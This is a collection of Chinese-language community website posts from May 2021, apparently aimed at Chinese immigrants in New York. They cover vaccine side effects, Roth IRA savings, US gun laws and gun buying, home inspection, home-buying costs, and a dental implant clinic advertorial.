如果说有急性过敏反应或者已经有反应的,一定要禁忌的。如果一旦发生了,马上叫急救车送医,而且最好是在旁边备一些急救的药物,打疫苗的地方都要有对急救药物备着的,一旦发现这种情况,能够马上抢救接种者。

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中共病毒疫苗 示意图。

阿司匹林疫苗的说明书也讲到很特别的情况,焦虑相关的反应。焦虑是因为人对新鲜的事物接受上有一个过程,而且也有些紧张,所以打疫苗之前有可能有一些压力,引起血管的神经反应,会引起晕厥,这是一种压力相关症状。

关键是一些老年人如果万一晕厥,有可能就摔伤了,会引起身体的状况。所以就说为什么。老年人打疫苗,就是要特别的看护,要有人陪伴,要适当的多看、多延长观察时间,确保一切都稳定了再离开。这是特别要提出来的,提醒大家要特别注意的。

怎么知道疫苗里面的成分?

中共病毒疫苗拿到都有疫苗装,里面都有疫苗说明书的,说明书上面第一页就写得很清楚,疫苗里面是什么成分,全部写得清清楚楚的,疫苗的开发商告知公众的,这是一点都不能含糊的。拿到疫苗仔细的读一读,如果有任何不懂的问题,去咨询您的医生和当地的卫生部门,再把这个事情弄清楚了,排除所有的问题之后再来打疫苗。

 

2021-05-29 / by / in , , , , , , ,
Roth IRA 螺丝个人退休帐户是怎么回事?存Roth IRA的好处是什么,会不会影响Medicaid医疗卡?

投资增长的利息都不需要缴税?是的

人无远虑,必有近忧,理财的“忧虑”就是要知道,从你能赚钱的那一时刻起,就要把10%赚的钱放到投资理财的篮子里,为将来老年退休不能再赚钱的时候享用。这似乎尽人皆知的道理,似乎许多人都懂的,但真正这样做的大众又有多少呢?

通常,凡在大公司里和政府里工作的人都会被要求存10%的工资到退休账户上,哪怕你是刚参加工作的大学毕业生,一则是为了自己工资收入减税,二则更重要一点,就是储蓄未来,为老年储备无忧无虑的生活做准备。

我们华人家庭第一代来美的创业者,大多数都是自己做小企业或者给别人打工,比如开餐馆、指甲店、理发店,零售商店、批发店等等,都是相关民生的服务行业,而老年被忧虑的群体中,很多是第一代没有足够储备金的老人们。相对他们的子女,大都进了美国大公司里面工作,他们一开始工作就被要求储蓄10%给养老金。他们就没有后顾之忧了。

所以,家庭第一代华人如果不知道有计划的存储投资,等到老年时就会出现忧虑退休金不足的大问题,生活质量就明显下降了。但有些人说我不敢存钱投资,不然到老了就享受不到政府的福利了。这些想拿福利的人群最担心的是政府的医疗卡被取消资格,所以为了保留将来自己有资格享受买Medicaid医疗卡,索性放弃存钱投资的机会。结果到了老年,他们享受到了政府医疗卡的同时,却丢掉了享受生活的品味,甚至自己的地税都很难应付,晚年收入来源完全依靠社会安全保障金生活,处于捉襟见肘的境地,生活质量可想而知。

其实,在美国的税法中,只要存钱得法,到老年时又有钱花又可以享受你的医疗卡,就是要学会存Roth IRA,又叫螺丝个人退休账户。这个账户是用税后的钱去投资,每一年国税局有数额限定,比如2020年最多可以存$6000,如果50岁以上,另外允许再多存1000,总共可以存$7000。前提条件是,单身报税工资收入不能超过$76,000,夫妻一起报税年收入不能超过$125,000。Roth IRA 最大的好处,就是老年拿钱的时候是不需要报税的,包括增长的利息所赚的钱都不需要报税。

假如你今年45岁,夫妻每年存$12000, 假如每年平均8%的回报,到你65岁的时候, 账户里已经有60多万了。每个月可以拿$2735一直拿到终老,这个钱是不需要报税的。老年夫妻每个月可以多出$2735,既可以轻松付地税,又有钱出去旅行,每天喝茶钱也有了,如此晚年生活,轻松快乐,生活品质就有保障了。

如果想了解如何开这个账户的详细情况,请联系专业理财师牛凤昀办公室电话:718-833-1889,手提电话:646-239-9778,email:fniu@financialguide.com

2021-05-28 / by / in , ,
华人买枪拥枪必知的美国枪械法/ 为省150美元被判坐牢5年

文/弗光照

因为疫情,很多人逐渐形成了储备意识,但不同的是:在美的华人除了也适当的储备一些食物、日用品之外,不少人还买枪用做家防自卫home defense。要知道,买枪拥枪一定要熟知美国枪械法。因为触犯美国枪械法是重罪,千万要谨慎。下面我们就分享一下买枪拥枪必知的美国枪械法以及经典案例与分析:

一.美国枪械法

美国枪械法基于美国宪法的第二条,即第二修正案,明确规定持枪是受美国宪法保护的公民权利。

二.美国枪械法的特点

美国枪械法非常复杂,有“1国51制”的说法。首先,联邦枪械法全国各州都要遵行;而各州、甚至各市还有地方法律;并且各州枪械法律各不相同,互不兼容,同一个州内的各市法律也不同。而我们要做的就是:联邦法律和地方法律必须同时遵守。

三.华人买枪拥枪必知的美国枪械法

美国枪械法法赋予人们拥枪的权利,同时也要负担相应的法律责任。下面是买枪拥枪必知的美国枪械法:

第一,美国联邦枪械法规定,买枪必须是自买自用,不可以为他人代买。否则,Straw Purchase是重罪,属于Federal Crime。将会被判刑十年,以及最高可达25万美元的罚金。

实例:2009年轰动全美的“枪支代买案”,是因为美国警官Bruce James帮他的叔叔买手枪。为了使用警察折扣,省 150美元,他在填写4473时,将自己填写为实际购买人。尽管被告和他的叔叔都有合法购枪权利,但代买就是犯法。结果被告罪名成立,被判入狱5年。原告不服分别上诉到全美第四巡回法院、最高法院。当时,有9个州和华盛顿特区支持法庭,有26个州表达支持被告。尽管9名大法官意见相当不统一,但最后还是以5比4的微弱优势判决罪名成立。“为省150美元被判坐牢5年”案例让人唏嘘,但“代买枪支违法”成为美国人民人人皆知的法律常识。

第二,买枪必填4473表格,您的4473表格信息、购枪信息要通过FF L在ATF和FBI系统备案几十年。填表故意隐瞒、捏造不实信息,就触犯了美国联邦枪械法,是会判入狱多年的重罪。最高可判处20年监禁,以及一百万美元的罚款。实例分析:

1.丈夫可以买来做礼物送给妻子吗?可以。

在“填表人是否为实际购买者”备注中,要诚实填写买枪是做礼物送人。那么即使最终用户是妻子,丈夫也仍然是实际购买者,其行为是合法的。所以,做人做事要堂堂正正的,没必要撒谎。

2.夫妻的枪是否可以互用?可以家防、打靶都可以。但是如果要转移所有权,就要做过户手续DROS(Dealer Record of Sale),PPT。

3.枪可以转给家人(子女、父母)吗?可以。

但要到FFL(有执照的枪支经销商)办手续。当然家人要有FSC枪证、年龄要求18周岁以上手枪需21周

*4. 美国枪械法规定,4473表格现场填写有效。

第三,美国枪械法规定哪些人不可以买枪?

1.如果有犯罪记录、逃犯、代买、精神病人、吸毒者,家暴史,被法院限制接触家人、被开除军籍的人、未成年人等的任一种情况的人,都不可以买枪拥枪。

2.买枪人的年龄限制: 联邦法律规定年满18周岁可买长枪;年满21周岁可买手枪。而纽约市则规定无论手枪长枪,拥枪者必须年满21周岁。

公开持枪 Open Carry

第四,美国枪械法规定:外国人(无绿卡的)学生,商务,工作签等,不可以在美国买枪拥枪。但有猎照 Hunting License就可以合法买枪拥枪。有的州要求居住时间要超过3个月,有SSN。所以,留学生刚来美国就去枪店看枪摸枪,就违法了。

第五,美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等要求各有不同,所以买枪前必需得好好学习当地的枪械法。例如:

  • 在美国各州对两种持枪要求各有不同,有48个州允许隐匿持枪Concealed Carry (手枪上膛随身携带),但要有隐蔽持枪证 CCW。有的州只允许公开持枪Open Carry(即在公共场所公开的持有武器)
  • 有些州规定携枪外出只能在车里,但不能带出车外,要 unloaded and locked(即枪弹分离:1弹匣和子弹分离,2枪身和弹匣分离);放在带锁的箱子里;放在随手够不着的地方—如后备箱。
  • 有些州拥有10发以上的的弹匣违法,但把弹匣改成10发子弹就合法了。
  • 猎照Hunting License需要每年更新,猎照过期拥有枪支就则就是非法持枪,后果很严重。
  • 网上订购枪支,必须从本州有执照的销售商FFL取货。
  • 不允许把枪借给家人以外的人, 除非是通过 Dealer. 把枪借给朋友需要20天的等待时间, 至少去 Dealer 两次, 以及交两次钱等等。
  • 如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.
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第六,在什么情况下可以开枪?

1.在美国合法拥枪是权利,但持枪要求很严。别无选择才可以开枪;例如,罪犯逃走时不可以开枪;住公寓的人持枪权利只能在室内,不可以追到走廊里射击罪犯。否则,警察会以“违法持枪”罪起诉你。简单一句话,美国枪械法的原则是:能用枪吓跑对方就不要开枪伤人!要善用枪。

2.城堡法(Castle Doctrine)家防自卫有一个限定:只能在自家包括院子(加州法律只有房内和后院,不包括前院)、车、工作处等合法使用场所。

经典案例莎拉麦金莱和她的孩子

2012年12月31日,俄克拉荷马州18岁的年轻妈妈麦金莱和她只有3个月大的儿子在家。她的丈夫几日前去世。一名叫贾斯汀·马丁的男子手持猎刀和另一名男子偷偷潜进麦金莱的家。麦金莱先用沙发顶住门,然后拿上枪,把孩子送到卧室,报警。

她问911接线员:如果有人冲进来,我能不能开枪?接线员告诉她:怎么能保护你自己,你就怎么做。我不能说“你可以(开枪)”,但是你要保护你和孩子,做你应该做的事。

结果等一个罪犯入室时,被麦金莱一枪毙命。地方检察官依据城堡法宣判麦金莱:正当防卫,不予起诉。随之,麦金莱与911的通话录音,网上流传。

不退让法明确可依城堡法行使自己正当防卫权利。但是,只规定了在特定区域,比如在家里、办公场所才可以使用不退让法。

总之,美国各个州市法律不同,对于长期生活在美国的人来说美国枪械法是常识、是权利,但对不少华人朋友们来说以前对这类信息不太关心,知之甚少。但如果你要买枪拥枪,那就一定要熟知美国枪械法,以免无意中违法。希望本文能对您有帮助,如有您还法律上的疑问,可咨询当地律师或者ATF、枪友会、枪店等。

最后,祝所有天下人幸福安康!

2021-05-28 / by / in , , ,
华人买枪流程指南全攻略/家防买什么枪好/选枪要点/纽约长岛华人枪店

文/阿慎
多数华人受佛家、儒家文化影响处事温和,反对以恶之恶。但自从去年起攻击华人事件的发生,如何自保更是我们必须思考的问题,华人买枪家防自卫Home Defense便呈现上升趋势。“害人之心不可有,防人之心不可无。”对于已经决定买枪的的华人朋友们,接下来就要了解一下华人买枪的流程、必知的美国枪械法、家防买什么枪好,及选枪的要点了。

一、华人必知的美国枪械法
二、买枪需要什么证件
三、华人买枪流程
四、买枪的渠道,到哪儿买枪
五、家防买什么枪好
六、买手枪的要点
七.用枪的安全问题
八、如何学习枪械使用和原理

一、华人必知的美国枪械法

美国枪械法对于生活在美国的人是常识,但很多华人并不了解,所以买枪前必需得好好学习当地的枪械法。触犯枪械法是重罪,一定要注意!
1.美国宪法第二修正案保护美国公民的持枪权利。
2.美国枪械法非常复杂:联邦枪械法是全国各州都必须遵行的;各州法律各不相同,互不兼容,同一个州内的各市法律也不同。总之,持枪人要做的就是—联邦枪械法和地方法律同时遵守。
3.美国联邦枪械法规定,不可为他人代买枪支,必须是自买自用。否则,会受到法律的严惩。Straw Purchase是重罪,属于Federal Crime。如果罪名成立,将会服刑期十年, 罚金最高可达25万美元。
4.买枪必填4473表格,没有例外:填表故意隐瞒、捏造不实信息,就触犯了联邦枪械法,会判入狱多年的重罪(最高可判处20年监禁,以及一百万美元的罚款)。您的4473表格信息将通过FFL在ATF、FBI系统备案几十年。
5.美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等等要求各有不同。
6.什么人不可以买枪?如果有犯罪记录、代买案底、精神病人、吸毒者,家暴史,被法院限制接触家人等的任一种情况的人,法律规定不可以买枪。

7.借枪:美国枪械法不允许把枪借给家人以外的人, 除非是通过 Dealer. 枪借给朋友,要等20天, 要2次去 Dealer , 2次交费。

8.如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.

二、买枪需要什么证件?

1美国公民:持驾照就可以买枪。
2绿卡:持驾照、绿卡就可以买枪。
3外国人:H1B、F1学生等(没有绿卡的人),联邦法律规定,原则上不能买枪。但有猎照(Hunting license)可以就合法买枪。证件:驾照,I-94;H1B的要带上I-797表等身份证件。*猎照每年买一次,没有持续买猎照就是非法持枪。
*有的州即使是公民,买枪也需要办理枪证 Firearm Safety Certificate(FSC)。

三、华人买枪流程:

1买枪需提前做的功课:
1)学习猎照(Hunting license)实用课程,对枪的使用和安全有一定了解,例如各种火器的原理、使用方法、安全须知、打猎规则、礼貌、诀窍等。(Hunter-Ed.com在线学习免费)
2)确定想买的枪型:上网查询自己喜欢的枪型信息,然后到靶场租枪实践,看看所选枪型是否适合自己,是否用得顺手。
2到Local枪店购买枪支,填4473表格(现场填有效)

填表细节可查看:https://thedoubletapclub.com/2020/08/21/4473_may2020/

3背景调查:店员将表格信息输入计算机,通常有3种结果
A.”Proceed”:当场通过(例如没有犯罪记录的),可直接付钱买枪;
B.”Delay”:比较常见的是“系统暂不确定”,要等十来分钟。如果没结果,那就先回家,系统结果下来了,店家就会打电话通知你去取枪;
C.”Denied”:没通过的情况也不少。店家会教你如何申诉appeal,申诉通过了,一样可以拿到枪。

四、买枪的渠道,到哪儿买枪?

第一,在Local枪店买枪:最省心了,交钱拿枪、简单快捷。如果枪有什么问题,枪店承担,但是价格相对比较高;
第二,Online网购:优点是样式多、便宜;缺点是等待时间久,麻烦。枪有什么问题的话,要自己承担。网购必须通过本地的FFL(联邦武器执照Federal Firearms License)办一下手续做transfer代理,费用($20-30);
第三,私人,枪展不推荐,一旦有问题,就麻烦了。

五、家防买什么枪好?通常要准备霰弹枪和手枪2种

1)霰弹枪(shotgun):家防最实用,打出去的散弹,命中率高;
2)手枪Handgun:适合家防,方便,可随身携带;
3)步枪:只有出现社会大骚乱才需要。

六、买手枪的要点:

1)用枪关键是要趁手,可在买枪前去靶场租各类枪都试一遍。
2)精致小巧的手枪并不适合女生,因为后坐力越大,不易打准。大而重的手枪比较实用。
3)新买的手枪要打一弹匣子弹,试试子弹的敏感度,如有问题马上换子弹。

七.用枪的安全问题

拥枪的人要谨慎、有责任心,具备良好的持枪习惯,以免擦枪走火

• 1)空枪:即便是空枪也不可胡乱比划。
• 2)枪口:只要持枪在手,就一直控制枪口对着安全的方向
• 3)扳机:手指一直放在扳机框外,射击的一舜,手指才触动扳机。
• 4)射击前:确认靶子、目标、及后方一定范围没有人 (比如突然出现的小朋友)
• 5)丢三落四,重要物品总是随处乱扔的人,慎重买枪。枪出了问题,可是要扛Felony(重罪)的。

八、如何学习枪械的使用和原理?

猎人教育 (猎照Hunting license)是美国最传统、最可靠的火器安全培训。学习火器的安全常识,各种火器(步枪/散弹枪/手枪,栓动/泵动/半自动/拉杆/开合式枪机)的结构、原理、操作、保养;急救,野外生存知识、及狩猎法规等,非常实用和必要。
猎人教育也体现了美国文化的一部分,事实上的全民军事培训,在美国很多家长把自己的孩子送去参加猎人教育。

建议大家在买枪之前系统地学习猎人教育,或到靶场开设的课程多练习。起码在危机时,要会开枪,敢开枪,震慑和吓跑坏人。希望所有的华人朋友们都能够用最有效的武器做好家防Home Defense,保护我们自己和家人的生命安全安全。

最后,向大家介绍一家华人经营的枪械用品店——纽约长岛Equilibrium Firearms枪店。华人枪店华文沟通,不仅把法律及枪械等专业问题讲得更明白,还可提供办理枪证等业务。如果您买枪购枪、使用上的任何疑问,都可随时与他们联系。至于价格、口碑当然是货比三家,选您满意的啰!
有趣的是Equilibrium Firearms华人枪店不仅提供了各类枪支,还很人性化的提供了非常实用的女生的防身用品、家防器械,如辣椒水、防狼喷雾等。详细内容可访问他们的网站http://dealsforguns.com

纽约长岛华人枪店 Equilibrium Firearms
地址:283 Villis Ave., Mineola, NY 11501
电话:516-788-8999

2021-05-27 / by / in
纽约买房 验屋你该知道的事 从里到外验房一步到位|纽约验房流程|美国验屋不马虎

文|地產小尖兵

美国买房,在签约后不要忘记验房(Home Inspection),在纽约买房也一样,而且纽约房产通常有很久的使用时间,五六十年以上都是很常见的,都经过大雨大雪的洗礼,因此买房后的验房工作就很重要,今天我们来谈谈纽约验房的流程,这里以独立房为主,从里到外带您看一遍验屋过程。

纽约验屋:屋顶检验

驗房屋頂檢查。

我们花了很多钱买房,房顶到底能用多久?还是马上要更换?这要搞清楚。以沥青瓦片材质(Asphalt Shingles)的屋顶为例,寿命约在二十至四十年不等。屋顶会坏大多都是自然因素造成的,日晒、下雨、下雪等等。如果时间较长,可以发现屋顶(边边)卷起、翘起,说明已使用较久时间了。

另外,验屋检查屋顶,还要看沥青瓦片有几层。因为美国房屋通常使用五六十年都很普遍,所以你买的房屋很可能都不是原本的最早期的屋顶,可能都是后面再铺上去的材料。那也有可能是拆掉旧的屋顶,换上新屋顶,这种方式比较花钱费力,因为需要多出拆除旧屋顶、收废弃屋顶的费用,会多出几千美元的预算。

紐約驗房首先看屋頂檢查。

要是直接铺设新屋顶,这是比较省钱的做法,但缺点是不能老是往上面叠上去,首先屋顶结构不一定承受得住,第二叠加过多层的沥青片,钉子未必钉得牢固,沥青屋顶可能会变得容易滑落,这时候只能拆除旧的,换上新的。因此,验房一定要检查屋顶有几层,确认屋顶的寿命、换新工程。

检查屋顶有无漏水,要从屋内去检查,从屋外看不到。有几个地方特别要注意,一个是烟囱与屋顶交接的地方,这处结合的材质和屋顶的不同,未必有较长的使用年限,所以到屋内就要特别留意客厅壁炉顶部的天花板,有没有渗水的痕迹。另一个地方是屋顶与屋顶交接的部分(高低屋顶或是错层屋顶),因为雨水一定会流往这个地方,也可能造成屋顶漏水。

紐約買房驗房檢查,排水槽。

还有一处是屋顶的排水槽(Gutter),这里容易被树叶、树枝等物堵塞造成积水,也可能下雪堆积,有融雪后不易排水的问题。排水槽平时假如没有定时清理或及时清理,也会造成积水、漏水。

小叮咛:纽约房产在维修屋顶时都会在夏季,因为冬季下雪无法工作。所以建议屋主在夏季时最好上去瞧瞧看看,顺便清除排水沟。以沥青瓦片的屋顶来说,如果有裂缝、破损,可以购买沥青,局部涂刷,另外在一些接缝处也可以用沥青去补墙防水性。

外墙检验

例如有一种木片结构的外墙,使用木片逐一钉上去,这种在美国老式的房子很常见。这种木片墙一般都是越往高处损害越厉害,越往地面处越完整。不好的部分无非是木头翘起、裂开,甚至钉子不牢固,这样水气就容易进到墙壁内层,导致墙壁不结实、松软、腐烂。如果验房、验屋发现这种情况就可以要求局部修缮,或是换成新的木片。

有的房屋底部在墙壁与地基的交接处有一层铁皮,称为「白蚁防护层Termite Shield」,从墙壁底部可以摸到这层铁皮。它的功用是为了防止白蚁从底部爬到房屋的木头结构去破坏,而且这层铁皮只能在建造房屋的时候铺设,事后无法加装。

小叮咛:墙壁与窗户的接缝也容易有裂缝,可以使用Caulking修补接缝(有分室外、室内材质)。在天气好时,把旧有的接缝涂料刮除,补上新的。这方面的裂缝会造成漏水,也会造成冷暖气的流失,使电费上涨。

纽约验房:暖气系统

纽约买房一定需要暖气系统,所以来到屋内验房时,首先就检查暖气系统。开启暖气机是第一步骤,然后过十几分钟后再到各房屋摸摸暖气片的温度,了解发热情况。注意一个重点,暖炉有一个「减压阀Pressure Relief Valve」,顾名思义它是一个舒压的阀门,当压力过大时它就会滴水,所以验屋时启动暖气后也要去检查看看有没有水滴,如果有,表示可能哪个地方压力较高需要处理,另外,减压阀下面通常也会接一条管子用来衔接水滴,下面会接一个水桶,如果没有接管子也要留意安装回去,以免水滴到地面造成积水。

减压阀还要注意每年放水一次,把内部空气释放,以促进循环。暖气系统会有一个热水炉(Hot Water Tank),也要检查有没有漏水,如果底部有漏水就表示需要更换(无法修理)。再来,暖气系统有一个电线箱也要打开检查,查看是否生锈、漏水痕迹。

水管排水问题验屋

美国房屋通常在暖气系统旁边会安装洗衣机、烘衣机,所以我们也顺便检查一下洗衣机的排水有没有通畅、烘衣机的排气有没有堵塞,管路需不需要清理。当然这里我们也可以把旁边的水龙头打开,让水流一阵子,看是否有哪里漏水、堵塞的状况。

电闸箱检查

然后,我们检查电闸箱,可以看有多少的负荷量,是100、150或200安培,越高越好,尤其现在电器特别多,还有电动车的使用,都须要更高的电量。有些比较老旧的只有60安培,甚至没有自动跳闸,还在保险丝的年代,这在验房时也要特别留意。当然在屋内的各处插座,也都要检查是否有通电或是电线接反,或是没有接地线的问题,这都可能造成使用人被电到的可能性。

检查阁楼隔热棉

我们还会从屋内上到阁楼(Attic)去检查里面的隔热棉状况、空调管道,还会看看是否有漏水的痕迹,还有是否有成为老鼠窝的惨况。

纽约验房:地下室检查渗水问题

纽约买房也要注意地下室的问题,所以验屋时地下室也是个重点,要注意有没有渗水状况。地下室渗水通常是地基周边排水不良导致,不是因为住在湖边、水边,有土地潮湿的问题。首先要了解地基是水泥结构,会有各种因素造成裂缝,就会导致水渗进去。

检查时就是先看外墙底下跟泥土交接的地方,因为我们知道下雨时,水进入泥土就往下流,假如是一场小雨可能没关系,如果是一场大雨,排水又不好,雨水可能就会慢慢从裂缝进入屋内。所以如果地下室某处容易潮湿就要留意,在那个地方容易发霉、容易让家具腐烂,还可能引来白蚁进驻。

我们验房时就要特别注意,房屋周围有哪些地方地势低,或是会造成积水的地方。如果有发现,进入地下室之后就要特别留意对应的地方有没有渗水。

进入地下室后,首先检查地基墙,一定都是实心的水泥,很坚固没错,但多少会有些裂缝,而且裂缝经常会出现在窗户周围,可能从窗边开始裂,一直延伸到地面,接近地面的墙壁就会容易有一些渗水的痕迹。

地下室的天花板就是木头结构的房屋,可以看出房屋有没有白蚁的问题,如果看到墙壁和木结构衔接处,有看到一层铁片代表这房有加装上面说的「白蚁防护层Termite Shield 」,这是很好的设施,能有效防止白蚁入侵。白蚁住在土壤里,会想办法到里面吃木头,会从外面往里面吃,越潮湿的地方越容易吸引它,因为潮湿的木头较柔软好啃食。

因此在纽约验房,检查地下室,就要检查天花板的四周,有没有白蚁啃食的痕迹或是白蚁爬过的蚁路,但这部分需要有经验的专家才有办法看出来,所以检查有没有白蚁通常都有专门的白蚁检查报告。

小叮咛:地基外墙与木头墙壁衔接处可能会有松动或破损,可以请人补强(这部分要自行施工比较困难),以防止地下室渗水。还有在屋顶的排水槽有一条排往地面的水管,如果管道已经断了,或是水会直接流到墙边,应赶快买管道衔接,让水排到离地基的地方。#

2021-05-26 / by / in , , , ,
美国买房新手必看|美国买房的隐藏费用详解

文|雨荷

美国买房需要大量的资金,计算月供支出不能只看房价,美国房主除了要还房贷以外,每年还要额外支付房屋相关费用,每月的养房支出费用也是很大的,因为大多数选择贷款买房。在美国贷款买房的具体的费用是哪些呢?

定金Earnest Money Deposit

地区不同,市场上默认的诚意金额度也不同。美国大多数城市是按房价的1%-2%计算,但在一些房子供不应求的地区,也有可能高达10%。什么时候交诚意金,交给谁,什么情况下这钱还能收回来。

当我们看中房子后,需要先给卖家一个合同,表明自己会给出多少定金表示诚意,还要写清意外事件条款,也就是什么情况下取消这次购房交易,不算毁约可以全数拿回诚意金。

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定金Earnest Money Deposit 示意图。

如果验屋不满意,买房贷款批不下来卖家接受,大家开始针对房价讨价还价的时候,这笔款项马上被存入履约保证账户,由第三方托管。如果一切顺利,这笔钱最后会作为买家买房子的前期费用,回到我们手里,而如果交易最终取消,则会按照合同条款来分配诚意金。

房屋检查费House Inspections

当谈好价格购买之前,即使卖家已经有一份检查报告,我们也一定要自己找专业人士做一次彻底的房屋检查,排查隐患。按房子大小,价格在三百到五百美元之间。

房贷首付Down Payment

银行贷款很看重贷款价值比,在美国买房20%是首付的一个临界点,如果不足会招来更多额外费用。比如贷款的利息增加,被强制购买房贷保险,给银行一个保障,连带着过户费用也会增加等等。

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房贷首付Down Payment 示意图。

过户费Closing Costs

通常是房价的2%-5%左右,包括了买房过程中现的一系列费用,比如律师费。托管费、登记费、转让费、房屋估价费等等。

如果房价是二十万,除了首付的钱,还需要额外准备四千到一万的资金,或者请银行把这笔钱算进贷款里,一般都是由买家支付。

地产税Property Taxes

全美平均地税为房价的1.19%,但不同的地区地产税差别还是挺大的。地产税是地方政府的重要收入来源,也是不可避免的一项大开支。地产税通常可以抵免个人收入税,或许对减税有点帮助。

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地产税Property Taxes 示意图。

业主协会费HOA Fees

HOA是业主协会的简称,类似于小区物业管理。如果我们看上的房子属于他们的辖区,那买了房之后就自动成了会员,并且必须交会员费,每月两百到四百不等,也就是业主协会费。用于公共范围的环境设施维护等,建议买之前最好先了解一下有什么规则,每年费用涨不涨?涨幅多少,如果太多的话尽早放弃。

房屋保险Homeowners Insurance

房屋保险不是必须购买,针对意外、自然灾害等有很多种类。但有些情况,比如我们背负房债,房子位于洪水高危地段,银行通常会强制要求购买相关的房屋保险。

美国洪水保险平均费用约每年七百美元,买房子前也要看一下,避开这种地段。保修很适合新手房东,保的是不属于意外的损坏问题,每年三百五十到六百美元不等。

房屋保修 Home Warranty

房屋保修很适合新手房东,保的是不属于意外的损坏问题,每年350到600美元不等。家里的水电系统、暖通、空调,甚至大件家电出了问题都会负责报销,具体看自己买的保修里面包括什么。每次叫人来维修只要付个固定的服务费就行,大概每次是费用50-100美元,比单请计时收费的专业维修人员便宜。

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房屋保修 Home Warranty 示意图。

房贷月供Mortgage Payments

每月还贷我们都懂,这里就分享一个还贷省钱的秘籍。如果每个月再额外多交一点钱,这笔钱就会直接从本金扣除。一是能省下不少贷款的利息,二是能督促自己提早还清房贷。

拿贷款十万举例,每个月如果多还五十,就能省下一万五千多美元,还能缩短五年的还款时间。

水电费Utility Bills

成为房主之后开销很高。水、电、天然气、垃圾回收、网络、电话、电视,一系列的费用都要自己跟进,建议问下前屋主或者是周边的住户,每个月的水电杂费开销。翻新房子的钱要用掉多少就不好说了,算成本的时候别忘了计算这笔开销。

二手房里如果有希望原屋主留下的东西,要提前询问、商量好,写进合同,不然交房的时候可能已经带走了。

日常维护Maintenance

日常维护的费用可以按房价的百分之一来估算,四十万的房子每年要花4000美元来打理。

2021-05-26 / by / in , , , ,
缺失牙为什么要植牙?在纽约选一个好的植牙医生,这里有几点建议!(纽约最好的植牙医生)

随着大家对牙齿健康意识的提高,越来越多人开始关注牙齿种植手术。但是纽约植牙市场混乱医生资质参差不齐,选择一个最好的植牙医生可以给你省去很多麻烦,顺利的完成植牙手术,修复已经缺失的牙齿。这里我们给大家几个选择医生上的建议,希望能够避免大家在寻医路上多走弯路:

纽约牙科诊所-New York Dental Studio

地址: 30 E 60th St #2402, New York, NY 10022

电话号码: (212) 588-1809

1、选择有经验的牙科手术专科医生

大家都知道美国的医生类别分的很细,牙科医生也一样,有不同的专科医生:比如非常严重的根管治疗要找牙髓病专家,牙龈萎缩牙周炎要找牙周病专家,牙齿矫正可以找牙齿美容矫正医生,拔智齿和植牙等手术要找牙科手术医生等等…

在美国,成为一个牙科手术专科医生不仅需要本科4年+牙科博士4年,毕业后还要在口腔颌面外科住院做实习医生5 年,是一个非常需要时间和经验磨炼的职位!能够在美国成为牙科手术专科医生是非常不容易的。New York Dental Studio纽约牙科诊所的手术专科医生Dr. Cho说,他平均每个月需要做包括拔智齿的约500次拔牙手术,200次植牙手术,最高纪录一天拔了86颗牙,他健壮的手臂就是辛苦而稳健工作的最好证明!

 

New York Dental Studio接待过很多曾经在别的牙科诊所有过不好经历的患者。吕先生在之前工作附近随意找了个医生拔了智齿,因为没有处理好得了干槽症并且持续了一个月痛苦不堪;又在其他诊所做另一颗牙根管治疗好几次都没治好,最后在New York Dental Studio找手术医生拔掉了坏牙做了植牙手术,终于解决了每天晚上牙齿神经痛的困扰。

 

吕先生说:“我的牙齿实在是太命途多舛了,纽约的牙科市场也太混乱了,要是早点遇见你们多好,我就不会遭以前的那些罪了!”

 

吕先生把他的女朋友付小姐也介绍到了纽约牙科诊所做植牙,一切都非常顺利,三个月就完成了全部步骤,恢复了正常的牙齿。

付小姐说:“因为之前不好的经历,我本来非常害怕看牙医,之前医生在拔牙缝合的时候把我的嘴唇和牙龈缝在了一起,我回家硬生生扯开,太痛苦了。但是看吕先生在New York Dental Studio一切都做的很好,终于下定决心来把之前缺的牙种了。纽约牙科诊所的医生都特别专业,每一步都做的清楚流畅,医生非常的耐心和细心,让本来对牙医产生心理阴影的我重新放心的把自己的牙齿交给他来处理,并且真的轻松完美完成了,仿佛对于专业的手术医生来说,植牙就是小菜一碟。”

 

植牙这种精密手术容不得一点这些drama,还是交给经验丰富的牙科手术医生来做。

 

2、不要贪便宜选择不好的植牙系统和材料

 

虽然现在技术发达了,植牙手术并不是一个复杂的手术,但是除了手术医生的技术,一个好的植牙系统和材料也对手术的成功率起着非常重要的作用。市场上有非常多种植牙系统,有欧美品牌、日韩品牌还有一些国产的品牌。在种植体市场,进口品牌的能够占到整个市场90%以上的份额。

 

New York Dental Studio使用的种植体系统都是高端的欧美品牌,有:

 

  • 欧美高端品牌的代表,如瑞士的Nobel诺贝尔和Straumann士卓曼:这两个品牌可以说是植牙体系中的劳斯劳斯了!

Nobel Biocare诺贝尔是世界上最早的种植体系,临床应用超过50年,它采用纯钛种植材料,在长期的种植体成功率和使用性上占无可争议的领先地位,是世界级的口碑产品。Straumann士卓曼在世界市场的占有率低于诺贝尔,但在中国的占有率应该是第一,是目前公认的稳定种植系统,士卓曼的钛锆合金亲水种植体对血液有较好的吸附作用,使初期骨结合时间缩短,只需6-8周

国内公立医院三甲医院单颗种植牙,如果使用Nobel或是Straumann的话,单颗的费用在18000-25000元左右,和美国价格持平。

  • MIS implant是纽约牙科诊所使用的另一个植牙系统,和Nobel和Straumann相比是更具有性价比的品牌。大家都知道以色列是医疗器械大国,以高科技和创新闻名于世,MIS是以色列已超过25年临床经验的品牌,也是New York Dental Studio的手术医生根据多年的临床经验精心挑选的成功率高、各项指标出类拔萃的产品。这个系统经过美国FDA和欧盟CE认证可用于即刻功能修复的种植体。更便捷、更优质、更安全的种植体系统,性价比高,占据欧美市场前五位。

张女士今年已经80岁了,之前在一家韩国诊所做了五颗植牙,其中三颗是连在一起的非常不好清理,最近一直觉得植牙部位不舒服,特地从新泽西来到曼哈顿中城的New York Dental Studio来看一下究竟是怎么回事。医生检查后发现牙冠周围的牙龈非常红肿,一拍片发现种植体附近感染了,这个种植体肯定要取出来重新种植了。在医生打算把牙冠和连接种植体的桥体取下来时,发现这个植牙系统并不是主流的种植体,没有对应型号的工具取出,打电话给原来的医院和对应的工厂也迟迟得不到答复,最后告知该型号已经停止生产。

